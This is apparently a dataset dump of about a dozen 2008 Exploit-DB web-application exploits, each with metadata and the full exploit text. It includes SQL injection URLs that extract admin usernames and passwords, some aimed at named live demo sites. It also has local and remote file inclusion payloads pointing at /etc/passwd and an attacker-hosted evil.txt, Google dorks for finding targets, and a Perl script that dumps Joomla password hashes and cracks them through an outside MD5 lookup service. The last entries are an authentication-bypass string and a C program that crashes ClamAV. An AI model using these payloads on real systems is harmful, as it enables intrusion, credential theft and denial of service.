QLWD/code_shield huggingface dataset:
标题: Easy News Content Management - Database Disclosure EDB-ID: 7340 CVE: 2008-6493 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-04 漏洞利用脚本: #######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
#
# Script : Easy Content Management Publishing
# Script Site : http://easy-news.org/content-management-terns.asp
# Description :
#  An easy to use ASP-based content management news system. Mulitple login levels, news expiration dates and many more 
# features. Uses MS Access database. Content management systems help increase freshness of your sites content by makeing it 
# easy to update. Free license under the GPL.
# 
# Exploit:
# SITE.COM/Database/News.mdb
# D0rk : "powered by easy-news.org"
#
# -------------------------------
#       Mitrovica Ã«shtÃ« KosovÃ«, Kosova Ã«shtÃ« Shqiperi - Etnic ALBANIA (H)
#                       Proud 2 Be MUSLIM !
#                      Proud 2 Be ALBANIAN !
# Boyle aciklarida yayinliyosan yuh a.g
#######################################################

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7340
标题: RankEm - 'siteID' SQL Injection EDB-ID: 7349 CVE: 2008-5588 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-05 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RankEm
#download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip


#Exploit :
http://target.com/rankup.asp?siteID=convert(int,(select+@@version));--

#Live Demo
http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+siteUserName+from+TBLsites));--

http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+sitePassword+from+TBLsites));--

#Greetz For W!nd[O]ws my partner :)

###########################################################################

# milw0rm.com [2008-12-05] URL: https://www.exploit-db.com/exploits/7349
标题: BNCwi 1.04 - Local File Inclusion EDB-ID: 7345 CVE: 2008-5948 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###########################################################
 #  [ BNCwi <= 1.04 ]  Local File Inclusion Vulnerability  #
 ###########################################################
 #
 # Script: "BNCwi is a Open-Source webinterface for psyBNC. 
 #      With it you easily can manage your Bouncer via a graphical interface."
 #
 # Download: http://sourceforge.net/projects/bncwi/
 #
 # [LFI] Vuln: http://site.com/bncwi/index.php
 # 
 #  POST /bncwi/index.php HTTP/1.1
 # 
 # Host: www.site.com
 # User-Agent: Mozilla/5.0
 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 # Accept-Language: pl,en-us;q=0.7,en;q=0.3
 # Accept-Encoding: gzip,deflate
 # Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 # Keep-Alive: 300
 # Connection: keep-alive
 # Content-Type: application/x-www-form-urlencoded
 # Content-Length: 49
 # 
 # newlanguage=../../../../../../../../etc/passwd%00
 # 
 # HTTP/1.x 200 OK
 # Date: Fri, 05 Dec 2008 01:27:15 GMT
 # Server: Apache
 # X-Powered-By: PHP/5.2.6-pl7-gentoo
 # Keep-Alive: timeout=15, max=100
 # Connection: Keep-Alive
 # Transfer-Encoding: chunked
 # Content-Type: text/html
 #     
 # Bug: ./bncwi-1.04/index.php (lines: 47-56)
 #
 # ...
 # if(isset($_POST['newlanguage']))
 # {
 #  setcookie("bncwi_language", $_POST['newlanguage'], time()+60*60*24*30);
 #  if($_SESSION['logedin'] == "1")
 #  {
 #   mysql_query("UPDATE `$table_customers` SET `language` = '$_POST[newlanguage]' WHERE `serverid` = $_SESSION[server_id] AND BINARY `login` = '$_SESSION[USER_LOGIN]' LIMIT 1;");
 #  }
 #  $_SESSION['language'] = $_POST['newlanguage'];
 #  include("lang_".$_POST['newlanguage'].".inc.php");        //LFI
 # }
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7345
标题: My Simple Forum 3.0 - Local File Inclusion EDB-ID: 7342 CVE: 2008-5604 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: /*

 $Id: mysimpleforum-3.0-lfi.txt,v 0.1 2008/12/04 23:03:00 cOndemned Exp $

 My Simple Forum 3.0 (index.php action) Local File Inclusion Vulnerability
 Bug discovered by cOndemned

 Script download: http://drennansoft.com/index.php?action=download&id=1

 Greetz: ZaBeaTy, str0ke, d2, TBH, Avantura

*/


Source of index.php:

 49. if(file_exists('site/'.$_GET['action'].'.php')) {
 50. include('site/'.$_GET['action'].'.php');
 51. } else {
 
 local file inclusion on line 50
 

Proof of concept:

 http://[host]/[my_simple_forum_path]/index.php?action=../../../../../../../etc/passwd%00
 http://[host]/[my_simple_forum_path]/index.php?action=../../../../[localfile]%00

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7342
标题: template creature - SQL Injection / File Disclosure EDB-ID: 7339 CVE: 2008-5951 2008-5950 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: [~] ASP Template Creature DD/SQL Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/templatecreature/workDB/templatemonster.mdb

exp for demo: ( sql inj )

user: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcUserName,3+from+tb_adminUser

pass: http://demo.merlix.com/templatecreature/media/media_level.asp?mcatid=999999+union+select+1,vcPassword,3+from+tb_adminUser

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7339
标题: Joomla! Component mydyngallery 1.4.2 - SQL Injection EDB-ID: 7343 CVE: 2008-5957 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: #####################################################################################
####                      Joomla Component mydyngallery                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#####################################################################################
#                                                                                   #
#Download : http://mydyngallery.mon-cottenchy.fr                                    #
#                                                                                   #
#DORK : inurl:option=com_mydyngallery                                               #
#                                                                                   #
#####################################################################################
#                                       [Bug]                                       #
#                                                                                   #
#http://Site/[joomla_path]/index.php?option=com_mydyngallery&directory=zzz'+union+select+0,1,2,concat(0x3C703E,username,0x7c,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7343
标题: ccTiddly 1.7.4 - 'cct_base' Remote File Inclusion EDB-ID: 7336 CVE: 2008-5949 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: /*

 $Id: cctiddly-1.7.4-rfi.txt,v 0.1 2008/12/04 04:12:20 cOndemned Exp $

 ccTiddly 1.7.4 (cct_base) Multiple Remote File Inclusion Vulnerabilities
 found by cOndemned
 
 download from : http://tiddlywiki.org/ccTiddly/ccTiddly_v1.7.4.zip
 
 Probably prior versions are vulnerable too...

 Greetz: ZaBeaTy, str0ke, TBH, Avantura

*/


0x01 :
 file : 
  /index.php
 poc : 
  http://[host]/[cctiddly_path]/index.php?cct_base=http://[attacker]/evil.txt?
 source :  

  18. //includes
  19. if(!isset($cct_base))
  20.  $cct_base = "";
  21.
  22. include_once($cct_base."includes/header.php");
  23. include_once($cct_base."includes/login.php"); 
 
0x02 :

 file :
  /handle/proxy.php
 poc :
  http://[host]/[cctiddly_path]/handle/proxy.php?cct_base=http://[attacker]/evil.txt?
 source :

  3. if(!isset($cct_base)) 
  4.  $cct_base= "../";
  5. include_once($cct_base."includes/header.php");
  6. include_once($cct_base."includes/config.php");

0x03 :

 file :
  /includes/header.php
 poc :
  http://[host]/[cctiddly_path]/handle/includes/header.php?cct_base=http://[attacker]/evil.txt?
 source :

  5. if(!isset($cct_base)) 
  6.  $cct_base= "";
  7. include_once($cct_base."includes/functions.php");
  8. include_once($cct_base."includes/config.php");
  9. include_once($cct_base."includes/pluginLoader.php");
  10. include_once($cct_base."lang/".$tiddlyCfg['pref']['language']."/language.php");
  11. //include is used because language file is included once in config.php file
  12. include_once($cct_base."includes/tiddler.php");
  13. include_once($cct_base."includes/user.php");

0x04 :

 file :
  /includes/include.php
 poc :
  http://[host]/[cctiddly_path]/includes/include.php?cct_base=http://[attacker]/evil.txt?
 source :

  3. include_once($cct_base."includes/ccAssignments.php");

0x05 :

 file :
  /includes/workspace.php 
 poc :
  http://[host]/[cctiddly_path]/includes/workspace.php?cct_base=http://[attacker]/evil.txt?
 source :
  3. include_once($cct_base."includes/header.php");
  4. include_once($cct_base."includes/user.php");
  5. include_once($cct_base."includes/tiddler.php");

0x06 :

 file :
  /plugins/RSS/files/rss.php
 poc :
  http://[host]/[cctiddly_path]/plugins/RSS/files/rss.php?cct_base=http://[attacker]/evil.txt?
 source :

  3. include_once($cct_base."includes/header.php");
  
EoF.

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7336
标题: lcxbbportal 0.1 alpha 2 - Remote File Inclusion EDB-ID: 7341 CVE: 2008-5585 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: =============================================================================================================


  [o] lcxBBportal 0.1 Alpha 2 Remote File Inclusion Vulnerability

       Software : lcxBBportal version 0.1 Alpha 2
       Vendor   : http://code.google.com/p/lcxbbportal/
       Download : http://code.google.com/p/lcxbbportal/downloads/list/lcxbbportal-0.1.A2.tar.gz
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=============================================================================================================


  [o] Vulnerable file

       portal/includes/portal_block.php

 include($phpbb_root_path . 'includes/bbcode.' . $phpEx);

       includes/acp/acp_lcxbbportal.php

 $phpbb_portal_path = $phpbb_root_path . 'portal/';
 require_once($phpbb_portal_path . 'includes/portal_block.' . $phpEx);
 require_once($phpbb_portal_path . 'includes/adm_portal_block.' . $phpEx);
 include($phpbb_root_path . 'includes/functions_display.' . $phpEx);



  [o] Exploit

       http://localhost/[path]/portal/includes/portal_block.php?phpbb_root_path=[evilcode]
       http://localhost/[path]/includes/acp/acp_lcxbbportal.php?phpbb_root_path=[evilcode]


=============================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=============================================================================================================

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7341
标题: User Engine Lite ASP - 'users.mdb' Database Disclosure EDB-ID: 7338 CVE: 2008-5601 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################




---------------------------- Tunisia Muslim ------------------------------


#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org



#contact  : AlpHa[AT]HACKER[DOT]BZ


###########################################################################

#script   : User Engine ASP Lite 
#download : http://www.robs-projects.com/Apps/Download/download.aspx?file=ASP_UELite



#Exploit :
http://target.com/users.mdb


#special thanks for syst3m and crimeirc staff

###########################################################################

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7338
标题: wbstreet 1.0 - SQL Injection / File Disclosure EDB-ID: 7337 CVE: 2008-5956 2008-5955 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-04 漏洞利用脚本: ===================================================================
  Wbstreet v.1.0 (show.php id) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 4 December 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Wbstreet 
 VERSION     : v.1.0
 VENDOR      : www.phpstreet.com
 DOWNLOAD    : www.ohlanla.com/Dowsload/177254922054.zip
#####################################################

-- Remote Database Disclosure --


[+] http://[Target]/[path]/connect.inc


-- Remote SQL Injection ---

-----------------
 Vulnerable Code
-----------------

if(isset($_GET['id'])){
 $id=$_GET['id'];
}
 .
 .
 .
 .
<? 
$rs=mysql_db_query($db_name, "select * from topic where id=$id");  <<<< Bug !!!!
$row=mysql_fetch_array($rs);
?>

----------
 Exploit
----------

[+] http://[Target]/[path]/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-12-04] URL: https://www.exploit-db.com/exploits/7337
标题: Joomla! Component JMovies 1.1 - 'id' SQL Injection EDB-ID: 7331 CVE: 2008-5607 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: #!/usr/bin/perl -w
# -----------------------------------------------------------
# Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit
# by s3rg3770 with athos :)
# demo http://www.disneyrama.com
# -----------------------------------------------------------
# Note: In lulz we trust :O
# -----------------------------------------------------------

use strict;
use LWP::UserAgent;
use LWP::Simple;


my $host = shift;
my $myid = shift or &help;

my $path = "/index.php?option=com_jmovies&Itemid=29&task=detail&id=-1+".
           "union+select+1,concat(0x215F,username,0x3a,password,0x215F)+".
           "from+jos_users+where+id=${myid}--";

my $http = new LWP::UserAgent(
                               agent   => 'Mozilla/4.5 [en] (Win95; U)',
                               timeout => '5',
                             );  


my $response = $http->get($host.$path); 

if($response->content =~ /!_(.+?)!_/i)
{
     print STDOUT "Hash MD5: $1\n";
     print STDOUT "Password: ".search_md5($1)."\n";
     exit;
}
else
{
     print STDOUT "Exploit Failed!\n";
     exit;
}



sub search_md5
{
     my $hash = shift @_;
     my $cont = undef;

     $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
        
     if(length($hash) < 32 && !is_error($cont))
     {
          return $cont;
     }
}   


sub help
{
     print STDOUT "Usage: perl $0 [host] [user ID]\n";
     print STDOUT "by athos - staker[at]hotmail[dot]it\n";
     exit;
}

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7331
标题: Rae Media Contact MS - Authentication Bypass EDB-ID: 7333 CVE: 2008-6389 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                         +
        + Web Based Contact Management (Auth Bypass) SQL Injection Vulnerability  +
        +                                                                         +
        +                        Discovered by b3hz4d                             +
        +                                                                         +
        +                        WwW.DeltaHacking.Net                             +
        +                                                                         +
        +                                                                         +
        +                                                                         +
        +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

  
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 03 Dec 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : Web Based Contact Management
DOWNLOAD(199$): http://www.aliensoftcorp.com/contactmanager.htm
VENDOR        : http://www.aliensoftcorp.com/
DEMO          : http://www.aliensoftcorp.com/contactmanager.htm

#####################################################


[+] vuln    : 
              
              Admin login page
              
              All versions (SOHO Version, Standard Version, Enterprise Version) are vulnerable.
              
              All Demo links are here:
              
              http://www.aliensoftcorp.com/contactmanager.htm   

[+] Exploit : 
              USER: anything

       PASS: delta' or 'a'='a
 
                
##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7333
标题: ASP User Engine .NET - Remote Database Disclosure EDB-ID: 7332 CVE: 2008-6494 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################



---------------------------- Tunisia Muslim ------------------------------


#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org


#contact  : AlpHa[AT]HACKER[DOT]BZ


###########################################################################

#script   : ASP User Engine .NET
#download : http://shop.robs-projects.com/UE_DotNET.html





#Exploit :
http://target.com/users.mdb


#special thanks for the dear DexTer for his help :$

###########################################################################

# milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7332
标题: ClamAV < 0.94.2 - JPEG Parsing Recursive Stack Overflow (PoC) EDB-ID: 7330 CVE: 2008-5314 类型: DOS 平台: MULTIPLE 发布日期: 2008-12-03 漏洞利用脚本: /*
There is a recursive stack overflow in clamav 0.93.3 and 0.94 (and probably
older versions) in the jpeg parsing code.
it scan's the jpeg file, and if there is a thumbnail, it'll scan that too. the
thumbnail itself is just another jpeg 
file and the same jpeg scanning function gets called without checking any kind
of recurising limit. this can easely 
lead to a recurisive stack overflow. the vulnerable code looks like: 
clamav-0.94\libclamav\special.c
int cli_check_jpeg_exploit(int fd) <-- fd to jpeg file
{
...
                        if ((retval=jpeg_check_photoshop(fd)) != 0) {
                                return retval;
                        }
...
}
...
static int jpeg_check_photoshop(int fd)
{
...
                retval = jpeg_check_photoshop_8bim(fd);
...
}
...
static int jpeg_check_photoshop_8bim(int fd)
{
...
        retval = cli_check_jpeg_exploit(fd); <-- calls cli_check_jpeg_exploit()
again without any recursive checks !
...
}

the exploit shown below triggers this recursive stack overflow by creating a
fake jpg file. once created and passed on 
to clamav it'll go in a recursive stack loop untill clamav runs out of stack
memory and causes a stack overflow. effectively 
crashing clamav. The exploit was tested on clamav 0.94 on opensolaris running
in a vmware.
exploit:
*/

const char crashstr[] = "\xff\xd8" // jpg marker 
                        "\xff\xed" // exif data 
                        "\x00\x02" // length 
                        "Photoshop 3.0\x00"
                        "8BIM"
                        "\x04\x0c" // thumbnail id  
                        "\x00" 
                        "\x01"
                        "\x01\x01\x01\x01"
                        "0123456789012345678912345678"; // skip over 28 bytes 

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NR_ITER 200000

int main() {
        FILE *fp;
        int i;
        fp = fopen("clamav-jpeg-crash.jpg", "w+");
        if (!fp) {
                printf("can't open/create file\n");
                exit(0);
        }
        for (i = 0; i < NR_ITER; i++) {
                fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
fp);
        }
        fclose(fp);
        printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
        exit(0);
}

/*
result: 
ilja@opensolaris:~$ ./jpg
done, now run clamscan on ./clamav-jpeg-crash.jpg
ilja@opensolaris:~$ /usr/local/bin/clamscan ./clamav-jpeg-crash.jpg 
LibClamAV Warning: **************************************************
LibClamAV Warning: ***  The virus database is older than 7 days!  ***
LibClamAV Warning: ***   Please update it as soon as possible.    ***
LibClamAV Warning: **************************************************
Segmentation Fault <-- clamav crashed !
ilja@opensolaris:~$
*/

// milw0rm.com [2008-12-03] URL: https://www.exploit-db.com/exploits/7330